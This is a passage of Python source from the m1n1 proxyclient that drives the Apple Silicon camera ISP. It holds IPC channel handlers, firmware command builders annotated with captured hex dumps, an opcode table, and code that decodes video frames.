# iova arg1 = 0x0, # zero out size arg2 = 0x80000000, # done flag ) self.log("TX: RSP: [iova: 0x%x, ack: 0x%x, flag: 0x%x]" % (rsp.arg0, rsp.arg1, rsp.arg2)) return rsp def push_frame(self, req): frame = ISPFrame(self.isp, req) self.isp.frames.append(frame) self.log(colored("Pushing %s" % (str(frame)), "green")) cv2.imshow('frame', frame.process()) cv2.waitKey(50) class ISPSharedMallocChannel(ISPChannel): def __init__(self, isp, x, **kwargs): super().__init__(isp, x.name, x.type, x.src, x.num, x.iova, **kwargs) def _handle(self, req): rsp = None # Two request types: malloc & free if (req.arg0 == 0): # On malloc request, arg0 (iova) is zeroed # alloc the requested size (arg1) & fill out the new iova # RX: REQ: [0x0, 0x18000, 0x4c4f47] # zero, size, name # TX: RSP: [0x3a28001, 0x0, 0xc] # iova, zero, index assert((req.arg1 > 0x0)) # needs size try: # sometimes it sends garbage name = struct.pack(">q", req.arg2).decode() except UnicodeDecodeError as e: name = ("%04x" % (req.arg2 & 0xffff)).upper() self.log("SM: RX: Malloc REQ: [size: 0x%x, name: %s]" % (req.arg1, name)) surf = self.isp.mmger.alloc_size(req.arg1, name=name) rsp = ISPChannelMessage.build( arg0 = surf.iova | 0x1, # fill with new iova arg1 = 0x0, # zero out size as ack arg2 = surf.index, # index for (my) reference ) self.log("SM: TX: Malloc RSP: [iova: 0x%x, index: 0x%x]" % (rsp.arg0, rsp.arg2)) else: # On free request, arg0 is the iova to free (duh) # RX: REQ: [0x81664000, 0x0, 0x0] # iova, zero, zero # TX: RSP: [0x81664001, 0x0, 0x0] # iova, zero, zero assert((req.arg1 == 0x0) and (req.arg2 == 0x0)) # can't have size/index self.log("SM: RX: Free REQ: [iova: 0x%x]" % (req.arg0)) surf = self.isp.mmger.index_iova(req.arg0) if not surf: raise ValueError("shit") self.isp.mmger.free_surf(surf) rsp = ISPChannelMessage.build( arg0 = req.arg0 | 0x1, # flag freed iova arg1 = 0x0, # zero out size arg2 = 0x0, # zero out index ) self.log("SM: TX: Free RSP: [iova: 0x%x]" % (rsp.arg0)) return rsp class ISPIOT2HChannel(ISPChannel): def __init__(self, isp, x, **kwargs): super().__init__(isp, x.name, x.type, x.src, x.num, x.iova, **kwargs) class ISPChannelTable: def __init__(self, isp, description): self.isp = isp for desc in description: name = desc.name if (name == "TERMINAL"): self.terminal = ISPTerminalChannel(isp, desc, abbrev="TM") if (name == "IO"): self.io = ISPIOChannel(isp, desc, abbrev="IO") if (name == "DEBUG"): self.debug = ISPDebugChannel(isp, desc, abbrev="DG") if (name == "BUF_H2T"): self.bufh2t = ISPBufH2TChannel(isp, desc, abbrev="BR") if (name == "BUF_T2H"): self.buft2h = ISPBufT2HChannel(isp, desc, abbrev="BT") if (name == "SHAREDMALLOC"): self.sharedmalloc = ISPSharedMallocChannel(isp, desc, abbrev="SM") if (name == "IO_T2H"): self.iot2h = ISPIOT2HChannel(isp, desc, abbrev="IT") self.channels = [self.terminal, self.io, self.debug, self.bufh2t, self.buft2h, self.sharedmalloc, self.iot2h] assert(all(chan for chan in self.channels)) def name2chan(self, name): if (name == "TERMINAL"): return self.terminal if (name == "IO"): return self.io if (name == "DEBUG"): return self.debug if (name == "BUF_H2T"): return self.bufh2t if (name == "BUF_T2H"): return self.buft2h if (name == "SHAREDMALLOC"): return self.sharedmalloc if (name == "IO_T2H"): return self.iot2h def dump(self): for chan in self.channels: if (chan.name != "TERMINAL"): chan.dump() m1n1-1.4.11/proxyclient/m1n1/fw/isp/isp_cmd.py000066400000000000000000001025101453754430200207130ustar00rootroot00000000000000# SPDX-License-Identifier: MIT from ...utils import chexdump32 from construct import * import struct import time from .isp_opcodes import * class ISPIORequestCommand: def __init__(self, iova, insize, outsize, args): self.iova = iova self.insize = insize self.outsize = outsize self.args = args self.opcode = struct.unpack(" [8, 8][1280, 720] within [0, 0][1296, 736] original crop = [8 8 1280 720]\n'] """ s_cmd_ch_crop_set = Struct( "pad" / Default(Int32ul, 0), "opcode" / Int32ul, "chan" / Int32ul, "unk_c" / Int32ul, "unk_10" / Int32ul, "unk_14" / Int32ul, "unk_18" / Int32ul, "unk_1c" / Int32ul, ) args = s_cmd_ch_crop_set.build(dict( opcode=CISP_CMD_CH_CROP_SET, chan=0x0, unk_c=0x8, # 8 unk_10=0x8, # 8 unk_14=0x500, # 1280 unk_18=0x2d0, # 720 unk_1c=0x1, )) cmd = ISPIORequestCommand( iova=self.cmd_iova, insize=0x1c, outsize=0x1c, args=args, ) return self.send(cmd) def cmd_ch_output_config_set(self): """ 00000000 00000000 00000b01 00000000 00000500 000002d0 00000001 00000000 00000500 00000020 00000500 00000000 00000000 000002d0 00000000 00000500 00000000 00000000 [MSC] CH = 0x0 Scl=0 Output Config: format=0,range=1,size=1280x720,paddingRows=0,cmpEn=0 """ s_cmd_ch_crop_set = Struct( "pad" / Default(Int32ul, 0), "opcode" / Int32ul, "chan" / Int32ul, "unk_c" / Int32ul, "unk_10" / Int32ul, "unk_14" / Int32ul, "unk_18" / Int32ul, "unk_1c" / Int32ul, "unk_20" / Int32ul, "unk_24" / Int32ul, "unk_28" / Int32ul, "unk_2c" / Int32ul, "unk_30" / Int32ul, "unk_34" / Int32ul, "unk_38" / Int32ul, ) args = s_cmd_ch_crop_set.build(dict( opcode=CISP_CMD_CH_OUTPUT_CONFIG_SET, chan=0x0, unk_c=0x500, unk_10=0x2d0, unk_14=0x1, unk_18=0x0, unk_1c=0x500, unk_20=0x500, unk_24=0x0, unk_28=0x0, unk_2c=0x2d0, unk_30=0x0, unk_34=0x500, unk_38=0x0, )) cmd = ISPIORequestCommand( iova=self.cmd_iova, insize=0x38, outsize=0x38, args=args, ) return self.send(cmd) def cmd_ch_preview_stream_set(self): # [MSC] CH = 0x0 Preview stream set = 1 s_cmd_ch_preview_stream_set = Struct( "pad" / Default(Int32ul, 0), "opcode" / Int32ul, "chan" / Int32ul, "unk_c" / Int32ul, ) args = s_cmd_ch_preview_stream_set.build(dict( opcode=CISP_CMD_CH_PREVIEW_STREAM_SET, chan=0x0, unk_c=0x1, )) cmd = ISPIORequestCommand( iova=self.cmd_iova, insize=0x10, outsize=0x10, args=args, ) return self.send(cmd) def cmd_ch_cnr_start(self): s_cmd_ch_cnr_start = Struct( "pad" / Default(Int32ul, 0), "opcode" / Int32ul, "chan" / Int32ul, "unk_c" / Int32ul, ) args = s_cmd_ch_cnr_start.build(dict( opcode=CISP_CMD_CH_CNR_START, chan=0x0, unk_c=0x1, )) cmd = ISPIORequestCommand( iova=self.cmd_iova, insize=0xc, outsize=0xc, args=args, ) return self.send(cmd) def cmd_ch_mbnr_enable(self): """ 00000000 00000000 00000a3a 00000000 00000000 00000001 00000001 ISPCPU: [MSC] CH = 0, mbnrMode = 1,useCase = 0, enableChroma = 1 """ s_cmd_ch_mbnr_enable = Struct( "pad" / Default(Int32ul, 0), "opcode" / Int32ul, "chan" / Int32ul, "unk_c" / Int32ul, "unk_10" / Int32ul, "unk_14" / Int32ul, ) args = s_cmd_ch_mbnr_enable.build(dict( opcode=CISP_CMD_CH_MBNR_ENABLE, chan=0x0, unk_c=0x0, unk_10=0x1, unk_14=0x1, )) cmd = ISPIORequestCommand( iova=self.cmd_iova, insize=0x18, outsize=0x18, args=args, ) return self.send(cmd) def cmd_apple_ch_temporal_filter_start(self): """ 00000000 00000000 0000c100 00000000 00000001 00000000 00000001 00000000 00000500 [MSC] CH = 0x0 bMSTFScale0En=1, fusionType=0, isStreaming=0 """ s_cmd_apple_ch_temporal_filter_start = Struct( "pad" / Default(Int32ul, 0), "opcode" / Int32ul, "chan" / Int32ul, "unk_c" / Int32ul, "unk_10" / Int32ul, "unk_14" / Int32ul, ) args = s_cmd_apple_ch_temporal_filter_start.build(dict( opcode=CISP_CMD_APPLE_CH_TEMPORAL_FILTER_START, chan=0x0, unk_c=0x1, unk_10=0x0, unk_14=0x1, )) cmd = ISPIORequestCommand( iova=self.cmd_iova, insize=0x14, outsize=0x14, args=args, ) return self.send(cmd) def cmd_apple_ch_motion_history_start(self): s_cmd_apple_ch_motion_history_start = Struct( "pad" / Default(Int32ul, 0), "opcode" / Int32ul, "chan" / Int32ul, "unk_c" / Int32ul, ) args = s_cmd_apple_ch_motion_history_start.build(dict( opcode=CISP_CMD_APPLE_CH_MOTION_HISTORY_START, chan=0x0, unk_c=0x1, )) cmd = ISPIORequestCommand( iova=self.cmd_iova, insize=0xc, outsize=0xc, args=args, ) return self.send(cmd) def cmd_apple_ch_temporal_filter_enable(self): s_cmd_apple_ch_temporal_filter_enable = Struct( "pad" / Default(Int32ul, 0), "opcode" / Int32ul, "chan" / Int32ul, "unk_c" / Int32ul, ) args = s_cmd_apple_ch_temporal_filter_enable.build(dict( opcode=CISP_CMD_APPLE_CH_TEMPORAL_FILTER_ENABLE, chan=0x0, unk_c=0x1, )) cmd = ISPIORequestCommand( iova=self.cmd_iova, insize=0xc, outsize=0xc, args=args, ) return self.send(cmd) def cmd_apple_ch_ae_fd_scene_metering_config_set(self): """ 00000000 00000000 0000820e 00000000 000000b8 02000200 00280800 00e10028 000a0399 00000020 03cc02cc 00000000 00000000 000002d0 00000000 00000500 00000000 00000000 ISPCPU: scene: T=184 low/hiK:0/512 sc:512..2048 outl:40,40 Q:10,716,972 ISPCPU: face: T:225 maxFW:921 """ s_cmd_apple_ch_ae_fd_scene_metering_config_set = Struct( "pad" / Default(Int32ul, 0), "opcode" / Int32ul, "chan" / Int32ul, "unk_c" / Int32ul, "unk_10" / Int32ul, "unk_14" / Int32ul, "unk_18" / Int32ul, "unk_1c" / Int32ul, "unk_20" / Int32ul, "unk_24" / Int32ul, "unk_28" / Int32ul, ) args = s_cmd_apple_ch_ae_fd_scene_metering_config_set.build(dict( opcode=CISP_CMD_APPLE_CH_AE_FD_SCENE_METERING_CONFIG_SET, chan=0x0, unk_c=0xb8, unk_10=0x2000200, unk_14=0x280800, unk_18=0xe10028, unk_1c=0xa0399, unk_20=0x3cc02cc, unk_24=0x0, unk_28=0x0, )) cmd = ISPIORequestCommand( iova=self.cmd_iova, insize=0x24, outsize=0x24, args=args, ) return self.send(cmd) def cmd_apple_ch_ae_metering_mode_set(self): s_cmd_apple_ch_ae_metering_mode_set = Struct( "pad" / Default(Int32ul, 0), "opcode" / Int32ul, "chan" / Int32ul, "mode" / Int32ul, ) args = s_cmd_apple_ch_ae_metering_mode_set.build(dict( opcode=CISP_CMD_APPLE_CH_AE_METERING_MODE_SET, chan=0x0, mode=0x3, )) cmd = ISPIORequestCommand( iova=self.cmd_iova, insize=0x10, outsize=0x10, args=args, ) return self.send(cmd) def cmd_ch_ae_stability_set(self): s_cmd_ch_ae_stability_set = Struct( "pad" / Default(Int32ul, 0), "opcode" / Int32ul, "chan" / Int32ul, "stability" / Int32ul, ) args = s_cmd_ch_ae_stability_set.build(dict( opcode=CISP_CMD_CH_AE_STABILITY_SET, chan=0x0, stability=0x20, )) cmd = ISPIORequestCommand( iova=self.cmd_iova, insize=0x10, outsize=0x10, args=args, ) return self.send(cmd) def cmd_ch_ae_stability_to_stable_set(self): s_cmd_ch_ae_stability_to_stable_set = Struct( "pad" / Default(Int32ul, 0), "opcode" / Int32ul, "chan" / Int32ul, "stability" / Int32ul, ) args = s_cmd_ch_ae_stability_to_stable_set.build(dict( opcode=CISP_CMD_CH_AE_STABILITY_TO_STABLE_SET, chan=0x0, stability=0x14, )) cmd = ISPIORequestCommand( iova=self.cmd_iova, insize=0x10, outsize=0x10, args=args, ) return self.send(cmd) def cmd_ch_sif_pixel_format_set(self): """ 00000000 00000000 00000115 00000000 00000103 00000000 [MSC] CH = 0x0 Sif Pixel Format3, type 1 DmaCompress 0 Companding 0 """ s_cmd_ch_sif_pixel_format_set = Struct( "pad" / Default(Int32ul, 0), "opcode" / Int32ul, "chan" / Int32ul, "unk_c" / Int32ul, "unk_10" / Int32ul, ) args = s_cmd_ch_sif_pixel_format_set.build(dict( opcode=CISP_CMD_CH_SIF_PIXEL_FORMAT_SET, chan=0x0, unk_c=0x103, unk_10=0x0, )) cmd = ISPIORequestCommand( iova=self.cmd_iova, insize=0x14, outsize=0x14, args=args, ) return self.send(cmd) def cmd_ch_face_detection_config_get(self): s_cmd_ch_face_detection_config_get = Struct( "pad" / Default(Int32ul, 0), "opcode" / Int32ul, "chan" / Int32ul, "unk_c" / Int32ul, "unk_10" / Int32ul, "unk_14" / Int32ul, "unk_18" / Int32ul, ) args = s_cmd_ch_face_detection_config_get.build(dict( opcode=CISP_CMD_CH_FACE_DETECTION_CONFIG_GET, chan=0x0, unk_c=0x103, unk_10=0x0, unk_14=0x0, unk_18=0x0, )) cmd = ISPIORequestCommand( iova=self.cmd_iova, insize=0x1c, outsize=0x1c, args=args, ) def cb(): chexdump32(self.isp.ioread(self.cmd_iova, 0x20)) """ 00000000 00000000 00000d02 00000000 00000000 0000000a 0000000a 00000000 00000000 """ return self.send(cmd, cb=cb) def cmd_ch_face_detection_config_set(self): """ 00000000 00000000 00000d03 00000000 0000000a 01000000 00000001 MSG: : FDConfig Eye 0 Blink 0 Smile 0 nFace 10 CISP_CMD_CH_FACE_DETECTION_CONFIG_SET enableAttr = 0 enableOd = 0 enableSaliency = 0, enableSaliencyHW = 1 """ s_cmd_ch_face_detection_config_set = Struct( "pad" / Default(Int32ul, 0), "opcode" / Int32ul, "chan" / Int32ul, "unk_c" / Int32ul, "unk_10" / Int32ul, "unk_14" / Int32ul, ) args = s_cmd_ch_face_detection_config_set.build(dict( opcode=CISP_CMD_CH_FACE_DETECTION_CONFIG_SET, chan=0x0, unk_c=0xa, unk_10=0x1000000, unk_14=0x1, )) cmd = ISPIORequestCommand( iova=self.cmd_iova, insize=0x18, outsize=0x18, args=args, ) return self.send(cmd) def cmd_ch_face_detection_enable(self): s_cmd_ch_face_detection_enable = Struct( "pad" / Default(Int32ul, 0), "opcode" / Int32ul, "chan" / Int32ul, "FDEnableMask" / Int32ul, ) args = s_cmd_ch_face_detection_enable.build(dict( opcode=CISP_CMD_CH_FACE_DETECTION_ENABLE, chan=0x0, FDEnableMask=0x1, )) cmd = ISPIORequestCommand( iova=self.cmd_iova, insize=0x10, outsize=0x10, args=args, ) return self.send(cmd) def cmd_ch_face_detection_start(self): s_cmd_ch_face_detection_start = Struct( "pad" / Default(Int32ul, 0), "opcode" / Int32ul, "chan" / Int32ul, ) args = s_cmd_ch_face_detection_start.build(dict( opcode=CISP_CMD_CH_FACE_DETECTION_START, chan=0x0, )) cmd = ISPIORequestCommand( iova=self.cmd_iova, insize=0xc, outsize=0xc, args=args, ) return self.send(cmd) def cmd_ch_camera_config_current_get(self): s_cmd_ch_camera_config_current_get = Struct( "pad" / Default(Int32ul, 0), "opcode" / Int32ul, "chan" / Int32ul, "unk_c" / Int32ul, "unk_10" / Int32ul, "unk_14" / Int32ul, "unk_18" / Int32ul, ) args = s_cmd_ch_camera_config_current_get.build(dict( opcode=CISP_CMD_CH_CAMERA_CONFIG_CURRENT_GET, chan=0x0, unk_c=0x0, unk_10=0x0, unk_14=0x0, unk_18=0x0, )) cmd = ISPIORequestCommand( iova=self.cmd_iova, insize=0xdc, outsize=0xdc, args=args, ) def cb(): chexdump32(self.isp.ioread(self.cmd_iova, 0xe0)) """ 00000000 00000000 00000105 00000000 00000000 02e00510 02e00510 00000000 00001df8 00000020 00000100 00000001 00000040 00000040 00000040 00000040 00000040 00000040 00000040 00000003 00000040 00000040 00000005 00000000 00000528 00000001 00000000 00000060 0249f000 00000006 00000007 00000000 00000009 000f4240 00000025 00000000 00000080 00004000 00000014 00000015 00000000 00000000 00000000 00000510 000002e0 000000a0 00010000 00000000 00000000 00000000 0000001f 00000000 00000000 00000000 000000c0 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 """ return self.send(cmd, cb=cb) def cmd_ch_ae_frame_rate_max_set(self): # TODO IMPORTANT DONT FORGET EILEEN !!!!!!!!!!! # Normal framerate set by macos is 0x1e00 for both min/max. # Since m1n1 is too slow to keep up, temporarily using 1/8th, 0x3c0 s_cmd_ch_ae_frame_rate_max_set = Struct( "pad" / Default(Int32ul, 0), "opcode" / Int32ul, "chan" / Int32ul, "unk_c" / Int32ul, ) args = s_cmd_ch_ae_frame_rate_max_set.build(dict( opcode=CISP_CMD_CH_AE_FRAME_RATE_MAX_SET, chan=0x0, unk_c=0x3c0, )) cmd = ISPIORequestCommand( iova=self.cmd_iova, insize=0x10, outsize=0x10, args=args, ) return self.send(cmd) def cmd_ch_ae_frame_rate_min_set(self): s_cmd_ch_ae_frame_rate_min_set = Struct( "pad" / Default(Int32ul, 0), "opcode" / Int32ul, "chan" / Int32ul, "unk_c" / Int32ul, ) args = s_cmd_ch_ae_frame_rate_min_set.build(dict( opcode=CISP_CMD_CH_AE_FRAME_RATE_MIN_SET, chan=0x0, unk_c=0x3c0, )) cmd = ISPIORequestCommand( iova=self.cmd_iova, insize=0x10, outsize=0x10, args=args, ) return self.send(cmd) def cmd_ch_start(self): # green light :) s_cmd_ch_start = Struct( "pad" / Default(Int32ul, 0), "opcode" / Int32ul, "chan" / Int32ul, ) args = s_cmd_ch_start.build(dict( opcode=CISP_CMD_CH_START, chan=0x0, )) cmd = ISPIORequestCommand( iova=self.cmd_iova, insize=0xc, outsize=0xc, args=args, ) return self.send(cmd) def cmd_ch_stop(self): # no more green light s_cmd_ch_stop = Struct( "pad" / Default(Int32ul, 0), "opcode" / Int32ul, "chan" / Int32ul, ) args = s_cmd_ch_stop.build(dict( opcode=CISP_CMD_CH_STOP, chan=0x0, )) cmd = ISPIORequestCommand( iova=self.cmd_iova, insize=0xc, outsize=0xc, args=args, ) return self.send(cmd) def cmd_stop(self): s_cmd_stop = Struct( "pad" / Default(Int32ul, 0), "opcode" / Int32ul, "unk_c" / Int32ul, ) args = s_cmd_stop.build(dict( opcode=CISP_CMD_STOP, unk_c=0x0, )) cmd = ISPIORequestCommand( iova=self.cmd_iova, insize=0xc, outsize=0xc, args=args, ) return self.send(cmd) m1n1-1.4.11/proxyclient/m1n1/fw/isp/isp_opcodes.py000066400000000000000000000135071453754430200216130ustar00rootroot00000000000000# SPDX-License-Identifier: MIT # isp_opcodes.py: autogenerated file CISP_CMD_START = 0x0000 CISP_CMD_STOP = 0x0001 CISP_CMD_CONFIG_GET = 0x0003 CISP_CMD_PRINT_ENABLE = 0x0004 CISP_CMD_BUILDINFO = 0x0006 CISP_CMD_SET_ISP_PMU_BASE = 0x0011 CISP_CMD_RPC_ENABLE = 0x0013 CISP_CMD_PMP_CTRL_SET = 0x001c CISP_CMD_TRACE_ENABLE = 0x001d CISP_CMD_FLICKER_SENSOR_SET = 0x0024 CISP_CMD_CH_START = 0x0100 CISP_CMD_CH_STOP = 0x0101 CISP_CMD_CH_BUFFER_RETURN = 0x0104 CISP_CMD_CH_CAMERA_CONFIG_CURRENT_GET = 0x0105 CISP_CMD_CH_CAMERA_CONFIG_GET = 0x0106 CISP_CMD_CH_CAMERA_CONFIG_SELECT = 0x0107 CISP_CMD_CH_INFO_GET = 0x010d CISP_CMD_CH_BUFFER_RECYCLE_MODE_SET = 0x010e CISP_CMD_CH_BUFFER_RECYCLE_START = 0x010f CISP_CMD_CH_BUFFER_RECYCLE_STOP = 0x0110 CISP_CMD_CH_SET_FILE_LOAD = 0x0111 CISP_CMD_CH_SIF_PIXEL_FORMAT_SET = 0x0115 CISP_CMD_CH_BUFFER_POOL_CONFIG_GET = 0x0116 CISP_CMD_CH_BUFFER_POOL_CONFIG_SET = 0x0117 CISP_CMD_CH_CAMERA_MIPI_FREQUENCY_GET = 0x011a CISP_CMD_CH_CAMERA_PIX_FREQUENCY_GET = 0x011f CISP_CMD_CH_CAMERA_MIPI_FREQUENCY_TOTAL_GET = 0x0133 CISP_CMD_CH_SBS_ENABLE = 0x013b CISP_CMD_CH_LSC_POLYNOMIAL_COEFF_GET = 0x0142 CISP_CMD_CH_CAMERA_AGILE_FREQ_ARRAY_CURRENT_GET = 0x015e CISP_CMD_CH_AE_START = 0x0200 CISP_CMD_CH_AE_STOP = 0x0201 CISP_CMD_CH_AE_FRAME_RATE_MAX_SET = 0x0208 CISP_CMD_CH_AE_FRAME_RATE_MIN_SET = 0x020a CISP_CMD_CH_AE_STABILITY_SET = 0x021a CISP_CMD_CH_AE_STABILITY_TO_STABLE_SET = 0x0229 CISP_CMD_CH_SENSOR_NVM_GET = 0x0501 CISP_CMD_CH_SENSOR_PERMODULE_LSC_INFO_GET = 0x0507 CISP_CMD_CH_SENSOR_PERMODULE_LSC_GRID_GET = 0x0511 CISP_CMD_CH_LPDP_HS_RECEIVER_TUNING_SET = 0x051b CISP_CMD_CH_FOCUS_LIMITS_GET = 0x0701 CISP_CMD_CH_CROP_SET = 0x0801 CISP_CMD_CH_CROP_SCL1_SET = 0x080c CISP_CMD_CH_CNR_START = 0x0a2f CISP_CMD_CH_MBNR_ENABLE = 0x0a3a CISP_CMD_CH_OUTPUT_CONFIG_SET = 0x0b01 CISP_CMD_CH_OUTPUT_CONFIG_SCL1_SET = 0x0b09 CISP_CMD_CH_PREVIEW_STREAM_SET = 0x0b0d CISP_CMD_CH_FACE_DETECTION_START = 0x0d00 CISP_CMD_CH_FACE_DETECTION_CONFIG_GET = 0x0d02 CISP_CMD_CH_FACE_DETECTION_CONFIG_SET = 0x0d03 CISP_CMD_CH_FACE_DETECTION_ENABLE = 0x0d05 CISP_CMD_CH_FID_START = 0x3000 CISP_CMD_CH_FID_STOP = 0x3001 CISP_CMD_IPC_ENDPOINT_SET2 = 0x300c CISP_CMD_IPC_ENDPOINT_UNSET2 = 0x300d CISP_CMD_SET_DSID_CLR_REG_BASE2 = 0x3204 CISP_CMD_APPLE_CH_AE_METERING_MODE_SET = 0x8206 CISP_CMD_APPLE_CH_AE_FD_SCENE_METERING_CONFIG_SET = 0x820e CISP_CMD_APPLE_CH_AE_FLICKER_FREQ_UPDATE_CURRENT_SET = 0x8212 CISP_CMD_APPLE_CH_TEMPORAL_FILTER_START = 0xc100 CISP_CMD_APPLE_CH_MOTION_HISTORY_START = 0xc102 CISP_CMD_APPLE_CH_TEMPORAL_FILTER_ENABLE = 0xc113 opcode_dict = { 0x0000 : "CISP_CMD_START", 0x0001 : "CISP_CMD_STOP", 0x0003 : "CISP_CMD_CONFIG_GET", 0x0004 : "CISP_CMD_PRINT_ENABLE", 0x0006 : "CISP_CMD_BUILDINFO", 0x0011 : "CISP_CMD_SET_ISP_PMU_BASE", 0x0013 : "CISP_CMD_RPC_ENABLE", 0x001c : "CISP_CMD_PMP_CTRL_SET", 0x001d : "CISP_CMD_TRACE_ENABLE", 0x0024 : "CISP_CMD_FLICKER_SENSOR_SET", 0x0100 : "CISP_CMD_CH_START", 0x0101 : "CISP_CMD_CH_STOP", 0x0104 : "CISP_CMD_CH_BUFFER_RETURN", 0x0105 : "CISP_CMD_CH_CAMERA_CONFIG_CURRENT_GET", 0x0106 : "CISP_CMD_CH_CAMERA_CONFIG_GET", 0x0107 : "CISP_CMD_CH_CAMERA_CONFIG_SELECT", 0x010d : "CISP_CMD_CH_INFO_GET", 0x010e : "CISP_CMD_CH_BUFFER_RECYCLE_MODE_SET", 0x010f : "CISP_CMD_CH_BUFFER_RECYCLE_START", 0x0110 : "CISP_CMD_CH_BUFFER_RECYCLE_STOP", 0x0111 : "CISP_CMD_CH_SET_FILE_LOAD", 0x0115 : "CISP_CMD_CH_SIF_PIXEL_FORMAT_SET", 0x0116 : "CISP_CMD_CH_BUFFER_POOL_CONFIG_GET", 0x0117 : "CISP_CMD_CH_BUFFER_POOL_CONFIG_SET", 0x011a : "CISP_CMD_CH_CAMERA_MIPI_FREQUENCY_GET", 0x011f : "CISP_CMD_CH_CAMERA_PIX_FREQUENCY_GET", 0x0133 : "CISP_CMD_CH_CAMERA_MIPI_FREQUENCY_TOTAL_GET", 0x013b : "CISP_CMD_CH_SBS_ENABLE", 0x0142 : "CISP_CMD_CH_LSC_POLYNOMIAL_COEFF_GET", 0x015e : "CISP_CMD_CH_CAMERA_AGILE_FREQ_ARRAY_CURRENT_GET", 0x0200 : "CISP_CMD_CH_AE_START", 0x0201 : "CISP_CMD_CH_AE_STOP", 0x0208 : "CISP_CMD_CH_AE_FRAME_RATE_MAX_SET", 0x020a : "CISP_CMD_CH_AE_FRAME_RATE_MIN_SET", 0x021a : "CISP_CMD_CH_AE_STABILITY_SET", 0x0229 : "CISP_CMD_CH_AE_STABILITY_TO_STABLE_SET", 0x0501 : "CISP_CMD_CH_SENSOR_NVM_GET", 0x0507 : "CISP_CMD_CH_SENSOR_PERMODULE_LSC_INFO_GET", 0x0511 : "CISP_CMD_CH_SENSOR_PERMODULE_LSC_GRID_GET", 0x051b : "CISP_CMD_CH_LPDP_HS_RECEIVER_TUNING_SET", 0x0701 : "CISP_CMD_CH_FOCUS_LIMITS_GET", 0x0801 : "CISP_CMD_CH_CROP_SET", 0x080c : "CISP_CMD_CH_CROP_SCL1_SET", 0x0a2f : "CISP_CMD_CH_CNR_START", 0x0a3a : "CISP_CMD_CH_MBNR_ENABLE", 0x0b01 : "CISP_CMD_CH_OUTPUT_CONFIG_SET", 0x0b09 : "CISP_CMD_CH_OUTPUT_CONFIG_SCL1_SET", 0x0b0d : "CISP_CMD_CH_PREVIEW_STREAM_SET", 0x0d00 : "CISP_CMD_CH_FACE_DETECTION_START", 0x0d02 : "CISP_CMD_CH_FACE_DETECTION_CONFIG_GET", 0x0d03 : "CISP_CMD_CH_FACE_DETECTION_CONFIG_SET", 0x0d05 : "CISP_CMD_CH_FACE_DETECTION_ENABLE", 0x3000 : "CISP_CMD_CH_FID_START", 0x3001 : "CISP_CMD_CH_FID_STOP", 0x300c : "CISP_CMD_IPC_ENDPOINT_SET2", 0x300d : "CISP_CMD_IPC_ENDPOINT_UNSET2", 0x3204 : "CISP_CMD_SET_DSID_CLR_REG_BASE2", 0x8206 : "CISP_CMD_APPLE_CH_AE_METERING_MODE_SET", 0x820e : "CISP_CMD_APPLE_CH_AE_FD_SCENE_METERING_CONFIG_SET", 0x8212 : "CISP_CMD_APPLE_CH_AE_FLICKER_FREQ_UPDATE_CURRENT_SET", 0xc100 : "CISP_CMD_APPLE_CH_TEMPORAL_FILTER_START", 0xc102 : "CISP_CMD_APPLE_CH_MOTION_HISTORY_START", 0xc113 : "CISP_CMD_APPLE_CH_TEMPORAL_FILTER_ENABLE", } m1n1-1.4.11/proxyclient/m1n1/fw/isp/isp_vid.py000066400000000000000000000251221453754430200207350ustar00rootroot00000000000000# SPDX-License-Identifier: MIT from ..common import Padding from construct import * import cv2 import datetime import numpy as np import struct import _thread from .isp_cmd import ISPIOCommandDispatcher ISPFrameMeta = Struct( "unk_0" / Hex(Int32ul), "pad" / Default(Int32ul, 0), "unk_8" / Hex(Int32ul), "pad" / Default(Int32ul, 0), "meta_iova" / Hex(Int32ul), "pad" / Default(Int32ul, 0), "pad" / Default(Int32ul, 0), "pad" / Default(Int32ul, 0), "pad" / Padding(0x10), "unk_30" / Hex(Int32ul), "pad" / Default(Int32ul, 0), "pad" / Default(Int32ul, 0), "pad" / Default(Int32ul, 0), "unk_40" / Hex(Int32ul), "pad" / Default(Int32ul, 0), "unk_48" / Hex(Int32ul), "pad" / Default(Int32ul, 0), "luma_iova" / Hex(Int32ul), "pad" / Default(Int32ul, 0), "cbcr_iova" / Hex(Int32ul), "pad" / Default(Int32ul, 0), "pad" / Padding(0x20), "unk_80" / Hex(Int32ul), "unk_84" / Hex(Int32ul), "unk_88" / Hex(Int32ul), "pad" / Default(Int32ul, 0), "pad" / Padding(0x30), "pad" / Padding(0x140), "pad" / Padding(0x10), "unk_210" / Hex(Int32ul), "pad" / Default(Int32ul, 0), "index" / Hex(Int32ul), "unk_21c" / Hex(Int32ul), "unk_220" / Hex(Int32ul), "pad" / Default(Int32ul, 0), "pad" / Default(Int32ul, 0), "pad" / Default(Int32ul, 0), "unk_230" / Hex(Int32ul), "unk_234" / Hex(Int32ul), "pad" / Default(Int32ul, 0), "pad" / Default(Int32ul, 0), "pad" / Padding(0x40), ) assert((ISPFrameMeta.sizeof() == 0x280)) class ISPFrame: def __init__(self, isp, req): self.isp = isp self.height = 720 self.width = 1280 self.meta_size = 0x4640 self.luma_size = self.height * self.width # 1280 * 720; 921600; 0xe1000 self.cbcr_size = self.height * self.width // 2 # 1280 * 360; 460800; 0x70800 assert((req.arg1 == 0x280)) x = ISPFrameMeta.parse(self.isp.ioread(req.arg0, req.arg1)) self.meta_iova = x.meta_iova self.luma_iova = x.luma_iova self.cbcr_iova = x.cbcr_iova self.index = x.index self.luma_data = self.isp.ioread(self.luma_iova, self.luma_size) self.cbcr_data = self.isp.ioread(self.cbcr_iova, self.cbcr_size) self.timestamp = datetime.datetime.now() def to_bgr(self): # TODO y = np.frombuffer(self.luma_data[:1280*360*2], dtype=np.uint8).reshape((720, 1280)) cbcr = np.frombuffer(self.cbcr_data[:1280*360*1], dtype=np.uint8).reshape((360, 1280)) u = cv2.resize(cbcr[:,::2], (1280, 720)) v = cv2.resize(cbcr[:,1::2], (1280, 720)) yuv = np.stack((y, u, v), axis=-1) bgr = cv2.cvtColor(yuv, cv2.COLOR_YUV2BGR) return bgr def process(self): bgr = self.to_bgr() mirrored = bgr[:,::-1,:].copy() s = "Frame %d: %s" % (self.index, str(self.timestamp)) cv2.putText(mirrored, s, (10, self.height - 20), cv2.FONT_HERSHEY_DUPLEX, 0.7, (0,255,0), 1, cv2.LINE_AA) return mirrored def __str__(self): s = "Frame %d: [luma: 0x%x cbcr: 0x%x] at %s" % (self.index, self.luma_iova, self.cbcr_iova, self.timestamp.strftime('%H:%M:%S.%f')) return s BufH2TSendArgsHeader = Struct( "unk_0" / Int32ul, "pad" / 